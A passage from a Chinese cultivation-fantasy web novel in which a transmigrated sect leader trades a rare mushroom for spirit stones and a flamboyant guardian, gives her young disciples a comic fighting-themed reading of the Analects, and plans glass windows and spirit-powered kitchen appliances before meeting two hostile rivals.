虞青焰:不是爱装吗?继续装不认识枯荣轮回菇啊?装不知道它的价值?装得好像这就是炖小鸡的普通蘑菇?那我就给你个炖小鸡的蘑菇价,十颗下品灵石不过分吧?我看你还怎么装下去? 云见月呼吸一滞,这妖孽分明认出了枯荣轮回菇,偏要拿她这“老婆婆”的伪装逗乐——装不懂价值?那十颗灵石确实“不过分”吧。 些许不悦掠过心头,下一秒却被她压了下去。 唇角勾起一抹微不可查的弧度——识货就好。 只要识货,还怕卖不出价? 只要你知道这是价值连城的枯荣轮回菇,知道它对你虞家至关重要,而不是真的把它当成十颗下品灵石的炖菜蘑菇,那就够了。 主动权在我! 几乎在虞青焰话音落下的同一秒,云见月没有任何犹豫,直接收起枯荣轮回菇。 紧接着,在虞家三人错愕的目光中,转身拔腿就走。 那动作,哪里还有半点虚弱老态? 分明是干净利索。 “哎!道友留步!”虞明爵和虞明镜顿时急了,快步追上去,“价钱好商量,我小叔刚才是跟你开玩笑的,你不要当真啊。” 虞明爵和虞明镜眼看苦苦追寻的神物就在眼前,这神秘老妪居然因为一句戏言就要离开,两人怎么甘心。 虞青焰看着云见月的背影,漂亮的眉头高高挑起。 这小东西,脾气还挺大。 他刚要迈步,衣袖突然被人攥住。 “道友,我的玄玉参王……”楚凌风实在不甘心这桩机缘就这么被一个无名老妪截胡。 虞青焰脸色阴沉得能滴出水来,“放开。” 楚凌风被他这突变的气势和眼神震慑得心脏一缩,下意识地就想松手。 但想到错失的机缘,一股邪火顶了上来,手指反而抓得更紧:“道友,价钱好商量……” “我说,放开!”虞青焰的声音带着不容置疑的威压。 话音未落,他甚至懒得再看楚凌风一眼,一道锋锐无匹的灵力光芒,瞬间从袖袍上划过。 第25章 帮我杀了楚凌风,我就给你枯荣轮回菇 云见月刚踏出黑市入口,身后便传来急促的脚步声。 “婆婆请留步!”虞明爵和虞明镜快步追上,拦在她面前。 虞明爵语气带着急切,“请您勿怪,我小叔方才是与您玩笑,绝非真心只出十颗下品灵石,我等是真心求购那枯荣轮回菇的。” 虞明镜也连忙补充:“此物对我虞家至关重要,价格…您尽管开口。” 云见月帽子下的目光平静地扫过两人焦急的脸,慢悠悠道:“哦?真心想买?那你们说说,打算出多少灵石?” 虞明爵与虞明镜对视一眼,皆从对方眼中看到一丝希望。 虞明爵沉声道:“十万上品灵石。” 十万上品灵石!与原著中楚凌风卖给虞家的价格分毫不差! 这笔足以让下域任何势力疯狂的财富,此刻就在她触手可及的地方。 玄天宗的重建,徒弟们未来修炼的资源,似乎都有了着落。 云见月想着这些,一时间有些出神,她的沉默让虞明镜误以为是对价格的不满,急忙道:“实不相瞒,我们来自上域,我等知晓下域之中流通的多为下品、中品灵石,上品灵石实属罕见。 这十万上品灵石,若换算成下品灵石,足有十亿,纵是上域也堪称天价,在下域更是闻所未闻。前辈手中的枯荣轮回菇虽是无价珍品,但此价,想必已足显我们的诚意。” 云见月自然知道她说的是实话。 十亿下品灵石,足以堆成一座小山。 但,她要的从来就不止是灵石这么简单。玄天宗根基浅薄,强敌环伺,光有灵石,不过是怀璧其罪,引火烧身。 她必须为宗门,为自己和徒弟们,找到一座真正的靠山,一道坚不可摧的屏障。 枯荣轮回菇是她通往更高舞台的阶梯,更是她将整个玄天宗命运与上域紧密捆绑的关键筹码。 她的目标清晰无比:借虞家之势,崛起! “想要我的枯荣轮回菇并非不行,但仅凭灵石还不够。” 虞明爵和虞明镜同时一愣,显然没料到会有这样的转折。 “不够?那您还想要什么?”虞明镜谨慎地问道,心中快速盘算着对方可能提出的要求。 “我可以只要五万上品灵石。”云见月抛出了第一个让步,但紧接着话锋一转,“但你们必须答应我三个条件!” 条件?什么条件?若是违背道义或虞家根本利益,他们绝不能答应。 “什么条件?” 云见月早有成算。 “第一,帮我修复并加强我玄天宗的护山大阵!” 护山大阵是宗门命脉,是庇护弟子的第一道也是最重要的壁垒。 如今玄天宗门户大开,连个像样的防护都没有,如同砧板上的鱼肉,什么阿猫阿狗都能来犯。 她自己不通阵法,下域的阵法师?且不说水平如何,她信不过! 唯有上域顶尖的阵道大师出手,布下的阵法才能让她安心,才能成为抵御强敌的第一道铜墙铁壁。 虞明爵与虞明镜闻言,暗自松了口气。 修复护山大阵?这事对他们而言还真不难,因为他们的小叔,正是上域声名赫赫的九品布阵师。 “此条件,我们应下了,一会儿就可让我小叔去给你布阵。” “好。”云见月点点头,“第二,请你们的小叔留在玄天宗,守护我宗门十年!”十年后,孩子们都长大了,也都有了自保能力。 “什么?” 小叔最是受不得拘束,让他在一个灵气稀薄的下域宗门枯坐十年?莫说他们不敢做主,便是应下了,那位祖宗也绝对会翻脸。 “这……”虞明爵一脸为难。 “枯荣轮回菇的价值,你们心里有数。你们如此急切寻它,想来是急需救人性命吧?我所求,不过是让你们的小叔守护我小小玄天宗十年。这笔交易,你们不亏!” “可是……”虞明爵目光纠结地投向那个已悄然出现、斜倚在远处树干上的花哨身影。 “小叔,您看这……” 倚着树干的虞青焰慢悠悠地踱步过来,那双桃花眼似笑非笑地睨着云见月:“呵,条件倒是开得大胆。只是……” 他拉长了声调,带着漫不经心的审视,“你凭什么觉得我会答应?这下域,有什么值得我停留十年的东西吗?” 云见月毫不退缩,“就凭你想要救人。” 虞青焰嗤笑一声,折扇“啪”地合拢,“不够。救人自有明爵明镜他们去做,与我何干?这理由,打动不了我。” 气氛瞬间僵持。 云见月沉默了一瞬,似乎在权衡。 虞青焰此人懒散随性,兴趣寥寥,独独爱美,尤其痴迷漂亮衣衫。 看他这一身花枝招展、色彩斑斓的打扮,就是最好的证明。 既然他爱美,那就给他一个无法拒绝的诱惑! 她虽不会设计服装,但她会搬运啊。 云见月瞬间想到了现代时,某位艳压群芳的女明星,穿着一件“花仙子”造型亮相红毯。 这一造型成为当年红毯最吸睛的瞬间之一,引发全球关注。 一夜之间,直接炸了全国各大影楼。 足见,这件衣服的含金量,和惊艳度。 这种衣服一般人很难驾驭,但虞青焰这么骚包爱漂亮,绝对会喜欢。 至于男穿女装?云见月觉得,以虞青焰的性格他应该不会太介意。 她心念一动,从储物袋中取出留影镜,注入神识之力,凝聚成清晰的影像。 她将留影镜递到虞青焰眼前。 虞青焰那双总是带着慵懒笑意的桃花眼,猛地一颤,呼吸甚至都停滞了一瞬,身体不由自主地前倾,打算仔细观摩。 然而,这惊艳绝伦的影像只维持了不到三息。 云见月果断地收回了神识,镜面上的华服虚影瞬间消散。 “怎么样?” 虞青焰轻咳一声,掩饰住自己的失态。 “虽然很一般,但我答应了。” 虞明爵和虞明镜惊得眼珠子都要瞪出来。 刚才发生了什么?就看了一眼镜子这就答应了? 云见月心头大石落了一半,还好她赌对了。 “那么,只剩下最后一个条件了。” 话音刚落,她敏锐的感官便捕捉到一阵急促的脚步声正快速逼近,转眼便出现在她面前。 来人正是楚凌风。 云见月也料到了这一点。 楚凌风睚眦必报,她破坏了他的机缘,他又怎么可能放过她。 云见月唇角的笑意扩大,带着几分冰冷。 “第三个条件就是,帮我杀了他。” “老太婆——你坏我机缘,我定要将你挫骨扬灰,千刀万剐——” 楚凌风的长剑带着凌厉杀意刺向云见月心口,却被一道白色身影横空拦下。 “铮——”虞明镜身影如鬼魅般挡在云见月身前,手中长剑精准无比地格开了楚凌风的致命一击。 楚凌风被震得虎口发麻,抬眼怒视:“我杀这老太婆,与你何干?少多管闲事!” “你杀她,我杀你,不冲突。”虞明镜剑锋一转,直指楚凌风咽喉,语气平淡却杀意凛然。 她身形已动,剑光如瀑,招招不离楚凌风要害。 楚凌风又惊又怒,他狼狈招架,步步后退,玄色衣袍被剑气划破数道口子,狼狈不堪。 云见月饶有兴致地看着眼前这“夫妻反目”的精彩一幕,忍不住在心里憋笑。 原剧情里你侬我侬的官配CP,此刻正打得你死我活,招招致命。 虞明镜这实力,碾压楚凌风毫无压力。 楚凌风被打得毫无脾气,这下怕是恨惨了虞家人,以后多半也看不上虞明镜了吧? 眼看虞明镜一剑就要刺穿楚凌风心口,楚凌风眼中突然爆发出强烈的求生欲,猛地咬破舌尖,一口精血喷在长剑上。 “血遁!” 长剑爆发出刺眼红光,带着他的身体化作一道血箭,瞬间遁出数十丈,几个闪烁便消失在夜色中。 虞明镜秀眉微蹙,对没能杀了对方有些不满。 “抱歉,让他跑了。” 云见月倒是毫不意外,走上前,语气轻松:“无妨,这第三个条件,我当你满足了。” 男主光环嘛,能理解。 能让楚凌风吃瘪又结下仇怨,已经足够。 说着,她取出枯荣轮回菇递过去。 虞明爵立刻拿出灵石。 “五万上品灵石,清点一下。” 云见月神识一扫,确认无误,一挥袖,将灵石全部收入储物袋中。 虞明爵也收好枯荣轮回菇,这才转向一直在看戏、摇着扇子的虞青焰。 “小叔,少主危在旦夕,我们不能再耽搁了,必须立刻返回上域,玄天宗的护山大阵,就拜托小叔您了。” 虞青焰懒洋洋地摆了摆手,“去吧去吧,救小命要紧。这里…啧,虽然破是破了点,但也勉勉强强吧。” 得到首肯,虞明爵兄妹不再犹豫,化作两道流光冲天而起,瞬息消失在茫茫夜空。 原地只剩下云见月和虞青焰。 云见月也懒得再装了,一把掀开宽大的帽子,露出那张清冷绝伦的脸。 虞青焰看清她的模样,先是一愣,随即嗤笑:“就这?清汤寡水的扔到人堆里都挑不出来,还值得费劲伪装?” 他晃了晃手里的镶钻小镜,自恋地拨了拨头发,“不像我,天生丽质难自弃,光芒万丈藏不住。” 云见月:“……” 她狠狠翻了个白眼,强忍着把鞋底呼在他脸上的冲动,没好气道:“行行行,您最美!美女哥,戏看完了,架打完了,钱货两讫了,现在可以跟我回我的宗门了吗?” “美女哥?”虞青焰眼睛一亮,桃花眼弯成了月牙,笑得花枝乱颤,“这个称呼妙,甚合我意,看你说话这么好听的份上,我就勉为其难去你宗门,带路。” 云见月:“......” 她突然有点担心,把这么个活宝带回玄天宗,会不会闹出什么乱子? 一炷香后,两人落在玄天宗山门前。 虞青焰的脚刚踏上石阶,就开始嫌弃起来。 “这就是贵宗的山门?”他用扇子尖嫌弃地戳了戳旁边歪斜的石柱,“这门脸儿,还没我家灵兽园的拱门气派;这石头,啧啧,粗粝得能磨刀。” “这路…...是给凡人走的吧?坑坑洼洼,连块像样的青玉砖都铺不起?” “这灵气…...稀薄得跟闹着玩似的,吸一口都嫌费劲,你们平时就在这儿修炼?啧,难怪修为都这么朴实无华。” 第26章 这哪里是宗门守护神,分明就是请来个祖宗 云见月听得太阳穴突突直跳,耐着性子没吭声。 好不容易来到她的寝殿前,云见月消除了十二道禁制,五小只听到动静跑出来,扑到云见月怀里,好一番亲热。 虞青焰的目光挨个扫过五个小团子。 他上下打量着萧星尘,撇撇嘴:“土里土气的,一看就是土灵根,浑身都透着个‘土’字,穿得跟刚从地里刨出来似的。” 萧星尘:“?” 他又转向鹿闻声,皱眉扇了扇鼻子:“一股烟熏火燎的味,火灵根也不用把自己搞这么脏吧?看着跟烧锅炉的似的。” 鹿闻声:“……” 轮到郁仙,虞青焰眉头皱得更紧:“瘦得跟豆芽菜似的,风一吹就倒。木灵根?平日不吃饭光喝水吗?丑。” 郁仙:请问呢? 江迷雾握紧凝霜剑,警惕地看着他,虞青焰叹气:“舞刀弄枪的,浑身煞气,粗鲁得很,一点美感都没有。” 江迷雾:不是,你谁啊? 最后是眨巴着大眼睛奶萌奶萌的苏渺渺。 虞青焰盯着她粉雕玉琢的小脸看了几秒,突然撇撇嘴:“你倒是长得玉雪可爱,但是......” 他话锋一转,用扇子挡住自己半张脸,傲娇道,“我最讨厌别人比我漂亮可爱了,烦人!” 苏渺渺小脸上写满了大大的茫然和无辜。 云见月终于忍无可忍,叉腰怒视虞青焰,“有你这么跟孩子说话的吗?” 虞青焰刷地展开扇子,边摇,边理直气壮地回怼:“没说你是吧?把五个孩子养的这么差,面黄肌瘦、土里土气、脏兮兮的......你还好意思说我?我都懒得说你。 我累了,给我安排个干净房间。”他倒真把自己当大爷了。 云见月咬牙挤出一个笑容:“行!您老这边请!” 她指了指旁边一间简单收拾过、相对还算完好的偏殿厢房。 虞青焰抱着“勉为其难看看”的态度踱步进去。 不出三秒。 “啊啊啊——!!!” 一声凄厉程度堪比被踩了尾巴的猫的尖叫划破了玄天宗寂静的夜空。 虞青焰一阵风似的从房间里冲了出来,指着那间厢房,手指都在颤抖:“这…...这也能叫房间?还没有我家茅厕大,墙皮都掉了,又小又破,一股子霉味儿,房梁上还有蜘蛛网,蟑螂窝都比这干净,我才不要住在这种鬼地方!!!” 云见月额头青筋暴跳,拳头捏得咯咯响,脸上还得努力维持“核善”的微笑,声音从牙缝里挤出来:“那…您老打算住哪儿呢?” 虞青焰环视一圈,扇尖指向整个玄天宗唯一看起来还算高大、勉强能入眼的主殿——也就是云见月自己的寝殿。 “喏,就那个吧,看着还像个房子。” 云见月咬牙:“那是我的房间!” 虞青焰一脸理所当然,“那我就住你的房间了,现在,它是我的了。” “那我住哪?” 虞青焰用扇子掩着嘴,打了个小小的哈欠,桃花眼里满是“关我屁事”的慵懒:“我管你住哪?柴房、厨房、树上、山洞…...随你便。 反正,我就要住在最大最好最漂亮的房子里。” 啊啊啊啊——!!! 这次,轮到云见月内心疯狂尖叫了。 她带回来的哪里是守护宗门的高手?分明是请回来个难伺候的祖宗! 看着虞青焰理所当然的模样,她第一次开始后悔:这十年,怕是有得受了。 造孽啊! “师尊,他是谁?”苏渺渺好奇的问。 云见月揉了揉她的发顶,“他是为师找来修复护山大阵的,以后就住咱们玄天宗了。” “啊?”五个小家伙齐齐皱起小脸。 江迷雾攥紧了剑,一脸警惕:“可是他好讨厌,刚才还说我粗鲁。” “他还说我丑。”郁仙难得接话,声音闷闷的。 云见月眼皮直跳,赶紧打圆场:“乖,他修为很高的,有他在,以后没人敢来闹事了。” 萧星尘想了想,认真道:“只要能保护宗门,那我们就勉为其难让他暂住吧。” 其他孩子虽然还是不情不愿,但也跟着点了点头。 ...... 清晨,玄天宗主峰的小院里,五个小萝卜头已经整整齐齐地坐在了小板凳上,小脸上是前所未有的专注与期待。 自从拜入玄天宗,他们享受的可是纯天然无添加的“放养式”教育,修炼全靠自觉,师尊从来不教。 今天,师尊竟然破天荒的宣布要亲自教导他们“文化课”! 云见月看着小家伙们那求知欲满满的样子,欣慰的点头。 “一年之计在于春,一日之计在于晨。”她背着双手,整个一幼儿园幼师的架势,“你们光会吐纳练气可不行,咱们玄天宗弟子,讲究内外兼修,从今天起,每天早上半个时辰,为师教你们——论语!” “论语?”鹿闻声、郁仙和苏渺渺齐齐歪头,一脸茫然。 萧星尘和江迷雾倒是听过,毕竟出身名门,小时候夫子教过几句,但此刻心里也犯嘀咕:修真界学这个?有用吗? 萧星尘迟疑道:“师尊,学这个有用吗?” “当然有用。”云见月拍着胸脯,“能让你们明白人生道理,变得更强大。” 萧星尘和江迷雾:???他们怎么不觉得? 鹿闻声三个没学过的,倒是深信不疑,小脑袋点得像小鸡啄米。 “好,今日开讲第一句!”云见月踱了两步,抑扬顿挫地吟诵道:“吾十有五而志于学,三十而立,四十而不惑,五十而知天命,六十而耳顺,七十而从心所欲,不逾矩。” 鹿闻声求知若渴,道:“师尊,这是什么意思呀?” 萧星尘作为五个人当中的“学霸”,觉得表现的机会来了,抢答道:“师尊,我知道!这句话的意思是: 我十五岁立志学习,三十岁能自立于世,四十岁遇事不迷惑,五十岁懂得天命,六十岁能听得进各种意见,七十岁能随心所欲而不逾越规矩。”他答完,还略带得意地看向师尊,等待表扬。 云见月却眉头一皱,摇头:“错!大错特错!” “啊?”萧星尘懵了。 他明明记得家里的夫子就是这么教的啊?难道夫子教错了? 云见月一脸“你们还是太年轻”的表情,开始了他的独家解读:“听好了!‘吾十有五而志于学’——意思是,我十五岁就立志要好好学习打架的本事!‘三十而立’嘛……” 她故意停顿,卖个关子。 五个小脑袋都凑近了些。 见此,云见月满意的继续道: “意思是,三十个人一起上,才配让我站起来认真打!” 萧星尘:“???”我是谁?我在哪?我学的到底是什么? 江迷雾:“???”好像哪里不对,但又好像……有点道理? 鹿闻声、郁仙、苏渺渺:疯狂点头、师尊果然厉害,解释得真霸气。 “那……四十而不惑呢?”江迷雾小心翼翼地问,语气充满了不确定。 云见月鼓励地看想萧星尘:“星尘,你来说说看?” 萧星尘迟疑了半天,试探着说:“四十个人……我打的时候不再疑惑?能……能轻松搞定?” “Bingo!恭喜你答对了!”云见月一拍他的肩膀,满脸欣慰,“看看,开窍了,孺子可教也!” 萧星尘捂着发麻的肩膀,一脸复杂:这窍开得有点疼,还有点晕。 “下一个,五十而知天命,谁来?”云见月目光扫视。 鹿闻声积极举手,小脸兴奋得通红:“师尊,我知道,五十个人会被我打得……打得以为自己遇到了命中注定的克星,被打得知道了自己的天命就是挨揍!” “好,举一反三,闻声有前途!”云见月竖起大拇指,鹿闻声激动得小脸更红了。 “六十而耳顺呢?”云见月趁热打铁。 一直很安静的郁仙突然开口,声音清脆:“六十个人在我耳边说好话求饶,我才会消气,不打了,这就叫‘耳顺’!” “嚯!都会抢答了!仙儿真是太棒!” 郁仙被夸的小脸红扑扑的,暗自决定,以后都要努力回答师尊的问题。 “七十而从心所欲,不逾矩,谁来回答?” 几个小家伙皱着小眉头苦思冥想。 随心所欲又不越规矩?打架还能这么讲究? 云见月看着他们纠结的小模样,揭晓答案:“其实很简单,意思是:只要对方来围攻我的人数达到了七十个这个级别,那我就可以随心所欲地乱杀,怎么痛快怎么来,反正都超纲了,也不算坏规矩!” 她做了个潇洒的挥拳动作,仿佛眼前真有七十个敌人灰飞烟灭。 “这一段话的核心思想是:只有拳头才是硬道理。” 孩子们:(⊙o⊙)!原来如此!好厉害! “都记住了吗?”云见月环视一周。 “记住啦——”五个小家伙扯着嗓子喊,小脸上是学到了“绝世真理”的兴奋。 “能做到吗?” “能!” “大点声!” “能——” “我听不见!” “能——!!!” 孩子们的喊声响彻整个玄天宗。 “孺子可教也,这节课你们学的很认真,为师很欣慰,记得课后多复习,下课!”云见月满意地一挥手,感觉自己为修真界人才的培养做出了不可磨灭的贡献。 五个孩子蹦蹦跳跳地散开,嘴里还念叨着“三十而立”“四十不惑”,显然把“打人攻略”刻进了脑子里。 一旁的廊下,虞青焰听得目瞪口呆,手里的小镜子都差点掉地上。 云见月挑眉:“杵那儿干嘛?偷师啊?” 虞青焰难以置信道:“你……你就这么教导弟子?” “不然呢?”云见月一脸理所当然,“寓教于乐,没看孩子们热情高涨吗?” “你这分明是误人子弟,歪曲圣贤!” “大哥,这可是修真界,强者为尊,懂不懂? 圣贤书能帮你挡飞剑还是能替你挨雷劈?关键时候,还得是这个!”她握紧拳头在虞青焰眼前晃了晃。 虞青焰愣了愣,仔细琢磨了一下,“你说得对,拳头硬才是硬道理,这么解释非常完美。” 云见月:“……”没想到这妖孽居然 get到了精髓。 看着他若有所思、仿佛学到了什么的样子,云见月突然有点担心——这货不会把这套“抡语”传到上域去吧? 第27章 修仙版电饭煲、高压锅等,厨房电器即将出炉 虞青焰会不会把“抡语”传到上域不知道,但孩子们把云见月的“抡语”刻进了脑子里,一个个被打通了任督二脉。 他们不再嬉闹,各自奔向修炼场。 师尊说得对,修真界,拳头硬才是真道理。 变强!必须变强!这样才能想打谁就打谁,还占理! 萧星尘扛着比自己还高的石头去加固山门,嘴里念叨着: “三十而立,三十个人来我也能顶住。” 江迷雾在厨房砍木桩,边砍边碎碎念: “四十不惑,四十个敌人我砍得明明白白。” 连郁仙,都在心里默数:“五十知天命,五十株毒草就能让坏蛋知道什么叫报应。” 看着徒弟们热火朝天、干劲十足的背影,云见月满意地点点头。 她转身,目光扫过玄天宗主殿。 墙壁斑驳,瓦片稀疏,尤其是那些窗户,糊着不知用了多少年的油纸,破洞一个接一个,风一吹就“噗噗”作响,跟放屁似的。 这哪是修真宗门,简直是难民窟PLUS。 “不行,要修,必须一次修到位,修得固若金汤,金碧辉煌!” 要问:修真界有没有施工队? 云见月表示,只要灵石到位,啥队都能给你整出来。 她现在什么都缺,就是不缺钱。 说干就干,她取出传讯玉简,指尖灵力注入,直接连通了“修真界通识”平台。 她指尖灵光闪烁,在玉简内勾勒信息: 【玄天宗宗门修缮大工程!急招!】 【项目内容:整体翻修宗门主殿、偏殿、弟子居所、演武场等。要求用料扎实,防御性能优,兼顾美观大气,工期从速。】 【资质要求:有大型宗门或仙府修缮经验者优先,信誉良好,实力过硬。】 【待遇:灵石丰厚,面议!预付三成定金,验收合格后一次性付清!】 【联系方式:玄天宗,云见月。接单者速来玄天宗详谈,非诚勿扰!】 发布完毕,玉简光芒一闪,信息瞬间扩散出去。 云见月走到窗边,戳了戳纸糊的窗棂,窟窿比纸还多。 “这哪是窗户,简直是筛子。” 她嫌弃地皱眉,脑海中不由自主地浮现出现代那明亮通透的玻璃窗。 “要是能换成玻璃窗就好了。” “等等……”云见月眼睛一亮。 玻璃虽然稀罕,但制作材料都很常见。 闻声连飞剑法宝都能炼,炼个玻璃还不是手到擒来?这对他来说应该是降维打击吧? 想到就做,云见月兴冲冲地直奔炼器房。 此刻,炼器房里鹿闻声正盘坐在炼器炉前,旁边坐着粉雕玉琢的苏渺渺,小脚丫一晃一晃的。 “二师兄,你说师尊说的那个‘核弹’,真的能炼出来吗?” 苏渺渺大眼睛里闪烁着兴奋和崇拜的光芒,“师尊前天晚上给我讲睡前故事,说那是一种超级厉害的法宝,只要把它点燃,就能把咱们整个玄天宗都炸上天呢,比元婴大能自爆还厉害,有了它,咱们就不怕坏蛋了。” 鹿闻声苦恼地挠挠头:“渺渺,师尊说的肯定是真的。可是……核弹长什么样?用什么材料?我一点头绪都没有啊。” 他感觉自己炼器知识受到了前所未有的挑战。 “包在我身上。”苏渺渺挺起小胸脯,“晚上我就去问师尊,师尊辣么~厉害,肯定知道,到时候我把师尊说的都告诉你。” “嗯!渺渺真是小福星!”鹿闻声被她鼓舞得干劲十足。 “师尊随口讲个故事,你就能想到这么厉害的法宝,要是真炼成了,你就是头号功臣。”他仿佛已经看到自己凭借“核弹法宝”名震修真界的场景了。 苏渺渺大眼睛瞬间弯成了月牙儿,心里甜滋滋的。 师尊果然没骗人,她就是小福星。 小丫头又给二师兄打了一会儿气,才蹦蹦跳跳地跑出去玩了。 苏渺渺前脚刚走,云见月后脚就踏进了炼器房。 “闻声,想什么呢这么入神?”云见月笑眯眯地问。 鹿闻声赶紧起身行礼:“师尊,徒儿在想炼制什么新法器。” 云见月一脸欣慰地拍拍他的肩膀:“不错不错,时刻不忘精进炼器之道,这份心性难得,为师果然没看错你的天赋。” “不过,眼下有个更紧急的小任务需要你。来,看看这个。”说着,云见月掏出一张纸,上面画着玻璃的样式和炼制方法。 “这叫玻璃,为师想要用它来替换咱们宗门的窗纸。装上它,屋子里亮堂堂的,能看清外面,还挡风保暖,特别漂亮,你看看,能试着炼出来吗?” 鹿闻声接过纸仔细看了看。 材料?后山一堆堆的。 温度?他这炼器炉轻松达到。 工艺?感觉比炼制法器简单多了,就是把几种石头熔化了混合在一起,然后塑形成平板? “师尊,这……看起来不难。”鹿闻声斟酌着说,“材料都是常见的,熔炼温度也不高。不过徒儿需要试试看,保证不了一次成功。” 这么说,有戏? 云见月眼睛放光,“为师等你的好消息。” 她仿佛已经看到阳光透过崭新玻璃窗洒满大殿的美好景象了。 看着师尊兴高采烈地离开,鹿闻声也来了干劲。 他立刻行动起来,跑去后山搬来一大堆符合描述的矿石原料。 炼器炉重新燃起熊熊灵火,鹿闻声按照纸上的配比,小心翼翼地投入材料,开始了他人生中第一次“非战斗向”炼器——炼制玻璃。 云见月心情大好,哼着小调,打算去看看其他徒弟。 刚走到炼丹室附近,就听得一声闷响: “轰——” 紧接着,一股浓烈的焦糊味混合着药渣味扑面而来,滚滚黑烟从房门缝隙里涌出。 云见月吓得魂飞魄散,一个箭步冲上去,猛地推开房门。 只见房间中央,一个小小的炼丹炉歪倒在地,炉盖不翼而飞,炉身裂开一道大口子,还在冒着青烟。 而她的三徒弟郁仙,顶着一头被爆炸冲击波吹得根根竖立、沾满黑灰的“爆炸头”,小脸黢黑,只剩下一双大眼睛惊魂未定地眨巴着,茫然地看着冲进来的师尊。 “仙儿你怎么样?伤到没有?哪里疼?”云见月顾不上烟熏火燎,一把拉过郁仙,紧张地上下检查。 感受到师尊毫不掩饰的担忧和关切,郁仙原本被炸懵的心瞬间被暖流包裹。 她摇摇头,“师尊,我没事,就是……就是炸炉了……” 说完,她羞愧地低下头,小手绞着衣角,等着师尊的责骂。 呼—— 云见月长长松了口气,悬着的心放回了肚子里。 她看着三徒弟狼狈又可怜的样子,哪里还舍得责备? 她抬手,用袖子轻轻擦掉郁仙脸上的黑灰,语气无比温和:“人没事就好,不就是炸个炉嘛,炸了就炸了,炉子哪有我宝贝徒弟重要。” 郁仙大眼睛里充满了难以置信,“师尊您不怪我?不怪我浪费材料,还弄坏了丹炉?” “怪你干嘛?”云见月理所当然地说,“炼丹哪有不炸炉的?炸着炸着经验就出来了,这说明你在尝试,在努力,为师高兴还来不及呢。 至于丹炉,坏了就换新的,你想要什么样的?跟为师说,为师这就给你买最好的。” 郁仙感动的都要哭了。 原来,孩子是可以犯错的。 犯错了,也是可以被家长原谅的。 从前在养父母和亲生父母家,她如履薄冰,小心翼翼,生怕自己犯错被惩罚。 这是她有生以来犯的最大的错,却并没有被师尊惩罚,师尊还一直关心她有没有受伤,还要给她买新丹炉。 她真的越来越喜欢师尊了。 她压下内心澎湃的感动,道:“师尊,我、我想要一个能更好控制火候的,现在的炉子火不稳,我修为低,神识也弱,稍微分心就控不好火,成丹率好低好低…… 听说高阶的丹炉有稳定法阵,能辅助控温,成丹率会高很多。” 稳定火候?精准控温?这不就是……电饭煲的核心功能吗? 她脑海中瞬间浮现出家里那个智能电饭煲。 预约、精煮、快煮、保温……傻瓜式操作,温度控制得死死的,煮饭从不出错。 如果能给仙儿炼一个‘修真版电饭煲’来炼丹…… 云见月的思维开始狂奔:设定好程序(阵法),自动控温控火,一键启动,到时间自动保温(温养丹药)…… 那成丹率岂不是蹭蹭往上涨? 甚至……百分百? 她的目光,不由自主地、灼热地,再次投向了炼器房的方向。 闻声,我的炼器小天才,玻璃之后,看来你又有新课题了。 如果连电饭煲都能炼出来,那高压锅岂不更是手到擒来。 高压锅都有了,她是不是可以把现代厨房电器都一比一还原? 要问:没电,搞出来也没用! nonono,电没有,有灵石啊,灵石也属于能量。 届时,她岂不是可以靠这些东西在修真界发家致富? 想到这里,云见月激动的一把抱紧郁仙,不由分说,就在她“煤球”一样的小黑脸蛋上狂亲了几口。 “仙儿,你简直太有才了。” 郁仙:“???” 怎么了?发生了什么?师尊为什么如此激动? 虽然搞不懂为什么,但是生平第一次被人抱起来亲,郁仙那张黢黑的小脸红的都要滴血了。 第28章 你让我不痛快,我就让你的生意也做不成 安抚好炸炉受惊的郁仙,云见月松开她。 “走,仙儿。”云见月拉起郁仙的小手,豪气道:“为师这就带你去买个高阶炼丹炉,让你以后炼丹事半功倍。” 虽然心里已经盘算着让鹿闻声炼个“炼丹电饭煲”,但眼下鹿闻声正忙着赶制玻璃,显然抽不开身。 “炼丹电饭煲”那玩意儿听着就复杂,等宗门修缮妥当了,再让闻声研究也不迟。 眼下当务之急是给仙儿买个趁手的好炉子,不能打击孩子的积极性。 出宗门前,云见月特意找到在宗门广场上懒洋洋晒太阳的虞青焰。 “虞大美人,我有事出去一趟,宗门就交给你了。” 虞青焰眼皮都没抬,懒洋洋道:“就你这宗门,穷得耗子进来都得含着眼泪走,怕是连个贼影都没有,用得着我守?” 云见月无语。 家破是破了点,但也不能真不当回事吧? “我仇家可不少,保不齐就有人趁我不在,跑来玄天宗撒野,你可是亲口答应过要帮我守护好宗门的。” “你去哪?”虞青焰追问,手指无意识地绞着发丝。 “还能去哪?当然是给你去做新衣服啊。答应你的事,我可没忘。” “新衣服”三个字像有魔力,虞青焰懒散的神情立刻收了起来,眼睛亮晶晶的。 他大手一挥,态度一百八十度大转弯:“行了行了,知道了,宗门有我,你早点去,早点把我的衣服带回来。” 看着他这副样子,云见月暗自好笑,看来这“花仙子”的诱惑力,比守护宗门大多了。 “那就辛苦虞大美人了。”说完,她带着郁仙,出了宗门。 一炷香后,坊市最繁华的街道上,云见月停在一家店铺前。 牌匾上“百宝阁”三个烫金大字熠熠生辉,门庭宽阔,一看就是做高端法器生意的。 “就这家了。”云见月满意点头。 她拉着郁仙,刚要迈步,身后传来两道女声,带着毫不掩饰的倨傲:“哟,我当是谁呢?这不是云见月吗?你怎么会来这种地方?” 云见月脚步一顿,回头看去。 只见两个衣着光鲜、容貌不俗的女子正站在不远处。 为首女子身穿粉霞流云裙,正抱胸看着她,娇俏的脸上满是鄙夷。 她是天元宗掌门之女,也是原身死对头,更是原著中楚凌风后宫团成员之一的苏心瑶。 她身边跟着一个穿着水蓝色长裙的女子,是她的跟班闺蜜林思思。 苏心瑶下巴微抬,眼神像打量什么脏东西一样扫过云见月和郁仙,不屑地冷笑道: “怎么?又想来买些破烂玩意儿去讨好凌风哥哥?云见月,你还真是跟狗皮膏药似的,怎么甩都甩不掉啊,凌风哥哥都说了厌恶你,你怎么还这么没脸没皮?” 林思思立刻帮腔,声音尖酸刻薄:“心瑶,这就是你总说的那个,先是退了楚少主的婚,后来又死缠烂打、没脸没皮的贱女人? 啧啧,今日一见,果然名不虚传,瞧这一身穷酸气,隔着老远都熏得慌,真是脏了百宝阁的门槛。” 云见月也不生气,左右看了看,故作茫然道:“奇怪,我也没看见狗啊,怎么耳边一直有狗叫?” “云见月,你敢骂我们是狗?”苏心瑶瞬间炸毛,柳眉倒竖。 云见月一脸无辜:“我骂人了吗?我只是说听到狗叫而已。怎么?你对号入座了?这么急着认领?” “贱人,你找死。”苏心瑶被彻底激怒,扬手就想给云见月一耳光。 然而,她的巴掌还在半空,云见月后发先至。 “啪——” 